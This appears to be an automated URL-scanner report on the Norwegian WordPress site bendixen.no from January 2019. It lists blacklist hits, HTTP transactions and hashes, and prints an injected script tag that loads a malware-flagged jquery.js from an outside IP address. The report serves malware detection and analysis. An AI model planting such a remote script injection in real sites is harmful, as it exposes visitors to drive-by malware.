Overview

URL bendixen.no/
IP164.132.160.172
ASN
Location Italy
Report completed2019-01-19 10:31:50 CET
StatusLoading report..
urlquery Alerts Suspicious javascript obfuscation


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Pool
Access Level


Intrusion Detection Systems

Suricata /w Emerging Threats Pro  No alerts detected


Blacklists

MDL  No alerts detected
OpenPhish  No alerts detected
PhishTank  No alerts detected
Fortinet's Web Filter
Added / Verified Severity Host Comment
2019-01-19 2 www.bendixen.no/wp-includes/js/jquery/jquery.js Malware
2019-01-19 2 134.249.116.78/jquery.js Malware
DNS-BH  No alerts detected
mnemonic secure dns  No alerts detected


Recent reports on same IP/ASN/Domain

Last 10 reports on IP: 164.132.160.172

Date UQ / IDS / BL URL IP
2019-02-23 11:58:09 +0100
0 - 0 - 1 osloflagg.no/ 164.132.160.172
2019-02-23 11:44:13 +0100
0 - 0 - 1 skorgen-as.no/ 164.132.160.172
2019-02-23 11:36:20 +0100
0 - 0 - 1 gakk.no/ 164.132.160.172
2019-02-23 11:31:42 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-23 11:22:33 +0100
0 - 0 - 3 dahluhre.no/ 164.132.160.172
2019-02-23 11:08:57 +0100
0 - 0 - 1 microgreen.no/ 164.132.160.172
2019-02-23 11:05:53 +0100
0 - 0 - 1 hjembu.no/ 164.132.160.172
2019-02-23 10:59:50 +0100
1 - 0 - 2 vitapharma.no/ 164.132.160.172
2019-02-23 10:44:49 +0100
0 - 0 - 15 jabjorkeli.no/ 164.132.160.172
2019-02-23 01:57:31 +0100
0 - 0 - 1 osloflagg.no/ 164.132.160.172

Last 10 reports on ASN:

Date UQ / IDS / BL URL IP
2019-02-23 17:03:51 +0100
0 - 0 - 1 www.grandmiramor.com/ 143.204.51.118
2019-02-23 17:00:14 +0100
0 - 0 - 37 www.artistmaxx.com/product-category/professionals/ 96.125.165.134
2019-02-23 17:00:00 +0100
0 - 0 - 1 simplycreed.com/ 159.203.100.19
2019-02-23 16:58:26 +0100
0 - 0 - 24 nfconsulenze.ch/ 185.88.77.110
2019-02-23 16:51:40 +0100
0 - 0 - 1 rp.bororeb.com/?v=2.0 52.214.73.247
2019-02-23 16:51:29 +0100
0 - 0 - 1 tracking.leanmobi.com/aff_c?offer_id=b8bfd096 (...) 13.125.147.173
2019-02-23 16:51:05 +0100
0 - 0 - 1 sfmurrysville.com/ 159.203.100.19
2019-02-23 16:50:50 +0100
0 - 0 - 1 my-2-try.com/ 193.29.58.232
2019-02-23 16:47:42 +0100
0 - 0 - 1 espectacled.stream/welcome 198.54.117.244
2019-02-23 16:47:25 +0100
0 - 0 - 1 gaoganw.com/0/248/163971.html 128.1.182.217

Last 10 reports on domain: bendixen.no

Date UQ / IDS / BL URL IP
2019-02-23 11:31:42 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-23 01:31:37 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-22 15:31:57 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-22 05:31:39 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-21 20:26:09 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-20 23:31:55 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-20 13:31:12 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-19 17:32:16 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-17 15:31:00 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172
2019-02-17 05:31:39 +0100
1 - 0 - 1 bendixen.no/ 164.132.160.172


JavaScript

Executed Scripts (5)


Executed Evals (0)


Executed Writes (1)

#1 JavaScript::Write (size: 55, repeated: 1) - SHA256: b1247cfc4a293243fe51e76445f0c7fbdec493b931a59e722826bf77015b9514

                                        < script src = "http://134.249.116.78/jquery.js" > < /script>
                                    


HTTP Transactions (11)


Request Response
                                        
                                            GET / HTTP/1.1 
Host: bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         164.132.160.172
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=iso-8859-1
                                        
Date: Sat, 19 Jan 2019 09:30:08 GMT
Server: Apache
Location: http://www.bendixen.no/
Content-Length: 231
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   231
Md5:    14989e8e914e9fb4b6a2dadeaae3fe08
Sha1:   9c6c048fc20c88c70880c59253a85b307612f3a2
Sha256: 8f5df8ea3c44cfdbb5ad785ccdbd059e64e95710da2c0ebc9f3e77bbecb6de8d
                                        
                                            GET / HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-7
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
X-Powered-By: PHP/5.6.40, PleskLin
Cache-Control: max-age=0; private
Content-Length: 2108
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   2108
Md5:    4b3109b3ab1dfc7aade96cfa68130715
Sha1:   6e752cb51bb02d263cd0f3899b280ee08b99779a
Sha256: b2b2f15e5018e2ea5a5f085f85622d4f42af09a9be140e365b6a326d3af850c1
                                        
                                            GET /wp-includes/js/jquery/jquery.js HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
Last-Modified: Thu, 08 Feb 2018 19:45:52 GMT
Etag: "1ae-564b8a8c81c00"
Accept-Ranges: bytes
Content-Length: 430
X-Powered-By: PleskLin
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  ASCII text, with very long lines, with no line terminators
Size:   430
Md5:    f29120bd8c33ec6329f68f36e4d028ac
Sha1:   6afb6fae0854b7689a394c6d72e924dd8d1196ae
Sha256: 93d935495f7f40deaf07b68afea7d4c953e14914a28b10412498ccd26fa859bb

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/coming-soon/themes/default/style.css HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
Last-Modified: Thu, 08 Feb 2018 19:49:15 GMT
Etag: "bf1-564b8b4e29f2a"
Accept-Ranges: bytes
Content-Length: 3057
X-Powered-By: PleskLin
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  ASCII C program text
Size:   3057
Md5:    b8d7077b1b872667ac2caff6f1907302
Sha1:   a78c2ba19d72ac867ffaf2a3195c4640998b0d44
Sha256: f5bdf566b34eeef2b0e03c2eb43042b1acecd2e40876cdebafcb8af6cd14abb2
                                        
                                            GET /wp-content/plugins/coming-soon/themes/default/js/modernizr.min.js HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
Last-Modified: Thu, 08 Feb 2018 19:49:15 GMT
Etag: "1c37-564b8b4e2be6a"
Accept-Ranges: bytes
Content-Length: 7223
X-Powered-By: PleskLin
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  ASCII C program text, with very long lines
Size:   7223
Md5:    858df1f1db6792962739c073a501039e
Sha1:   8f6f2d3f67d4ad50eb5d20e426228c69e3079b25
Sha256: fe3e2395a7aed8d3a915a0a9a32c18d01409e0f65343d6fd6a58d3a9738d0c28
                                        
                                            GET /wp-content/plugins/coming-soon/themes/default/js/script.js HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
Last-Modified: Thu, 08 Feb 2018 19:49:15 GMT
Etag: "45fa-564b8b4e2be6a"
Accept-Ranges: bytes
Content-Length: 17914
X-Powered-By: PleskLin
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  ASCII C program text, with very long lines
Size:   17914
Md5:    e5cc3f75fcbddc786fa7171d1c4be4f7
Sha1:   fad7b076a5ce398061c219a213af5bb5291e6d50
Sha256: 000aa44ab7528a8de4aeb26865ac9f674019e119136a18d2e7b2e5d5649c0375
                                        
                                            GET /wp-content/plugins/coming-soon/themes/default/bootstrap/js/bootstrap.js HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
Last-Modified: Thu, 08 Feb 2018 19:49:15 GMT
Etag: "e4a5-564b8b4e2aeca"
Accept-Ranges: bytes
Content-Length: 58533
X-Powered-By: PleskLin
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  ASCII C program text
Size:   58533
Md5:    cf1cf2fce27179c0de8a71c73b378f07
Sha1:   44a69a91c82f22941f0fd8c9f1c459eca33d8dbe
Sha256: d88949ad637b040b893c651e938b80f8a1aabc350c94c01c28e8a38fadab2df3
                                        
                                            GET /wp-content/plugins/coming-soon/themes/default/bootstrap/css/bootstrap.min.css HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Date: Sat, 19 Jan 2019 09:30:09 GMT
Server: Apache
Last-Modified: Thu, 08 Feb 2018 19:49:15 GMT
Etag: "1dc09-564b8b4e2aeca"
Accept-Ranges: bytes
Content-Length: 121865
X-Powered-By: PleskLin
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive


--- Additional Info ---
Magic:  ASCII text, with very long lines, with no line terminators
Size:   121865
Md5:    ff595e039e4769a799c5f6c6852fc393
Sha1:   26108da08efc93d402632b318a411a87b7e2fd8b
Sha256: efed1b475941af7251638e000616bc486433165fd99c9f6caee01610b95ad1fc
                                        
                                            GET /jquery.js HTTP/1.1 
Host: 134.249.116.78
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bendixen.no/

                                         
                                         134.249.116.78
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Date: Sat, 19 Jan 2019 09:30:13 GMT
Server: Apache/2.4.34 (Win32) PHP/7.2.10
Last-Modified: Mon, 17 Dec 2018 11:20:19 GMT
Etag: "121a-57d35f74b49be"
Accept-Ranges: bytes
Content-Length: 4634
Connection: close


--- Additional Info ---
Magic:  ASCII C++ program text, with very long lines
Size:   4634
Md5:    fb2fcd82a4c5fb559acfb8f0388ecbfb
Sha1:   80371c107c35343734b66a3455c98164ac768028
Sha256: 346d37d85fe2473e649fe5ba5393a0f5a9284b0d85b19b221f12bd35b3780a18

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: image/vnd.microsoft.icon
                                        
Date: Sat, 19 Jan 2019 09:30:10 GMT
Server: Apache
X-Powered-By: PHP/5.6.40, PleskLin
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive


--- Additional Info ---
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: www.bendixen.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         164.132.160.172
HTTP/1.1 200 OK
Content-Type: image/vnd.microsoft.icon
                                        
Date: Sat, 19 Jan 2019 09:30:13 GMT
Server: Apache
X-Powered-By: PHP/5.6.40, PleskLin
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive


--- Additional Info ---